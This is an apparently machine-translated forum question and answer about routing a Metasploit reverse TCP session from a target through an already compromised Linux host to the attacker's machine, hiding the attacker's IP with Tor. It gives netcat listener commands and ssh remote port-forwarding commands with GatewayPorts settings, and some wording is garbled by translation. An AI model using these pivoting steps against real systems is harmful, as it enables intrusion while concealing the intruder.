首先我想说我的问题与 meterpreter 的 'Portfwd' 选项无关:https://www.offense-security.com/metasploit-unleashed/portfwd/
假设我可以访问 2 台计算机:
- 计算机 A 是我的并且运行 Linux。
- 计算机 B 是受感染的主机,并且也运行 Linux。
- 计算机 C 是我想要妥协的计算机。
我正在使用 Metasploit 框架来实现此目的。如何实现设置从 C 到 B 的反向 tcp 连接,然后从 A 连接到 B 以获取 meterpreter 会话?问题是,我不希望 B 在任何时候知道 A 的 IP 地址。这就是为什么 A 必须启动连接(使用代理链或任何其他程序来隐藏其真实 IP)。
首先,我尝试使用 netcat 重现这个问题,但也许我误解了一些东西:
- 计算机 A 在端口 4444 上运行 netcat 服务器:(nc -l -p 4444
因为 A 将运行 meterpreter 服务器)。
- 计算机 C 将通过端口 8888 连接到 B nc 'B' 8888
(因为 C 将执行负载并将连接到受感染的服务器,因此它与我的真实 IP 没有链接)
- 计算机 B 必须在端口 8888 上设置一个 netcat 侦听器才能接受来自 C 的 tcp 连接(我不确定这个)
现在我的问题是:在B不知道A的IP地址的情况下,如何获得B和A之间的连接。
我尝试使用 ssh 进行从 A 到 B 的本地端口转发:
torify ssh -NL 4444:localhost:8888 B
但它告诉我端口 4444 已被使用(由 A 上的 nc 监听器使用)
我画了一个简单的方案,所以也许会更清楚,我想要以下方案:
答案1
所以,你想转发端口乙:8888到答:4444从服务器A,
A:$ ssh -R 8888:localhost:4444 B
这会打开端口8888正在听乙并将连接转发到端口4444在A,您的服务器在哪里。如果ssh
服务器位于乙配置选项设置GatewayPorts
为是的。
如果GatewayPorts
设置为客户指定您可以使用以下命令之一,
A:$ ssh -R :8888:localhost:4444 B
A:$ ssh -R *:8888:localhost:4444 B
GatewayPorts
取消设置或设置为不绑定插座到localhost
,阻止远程转发工作。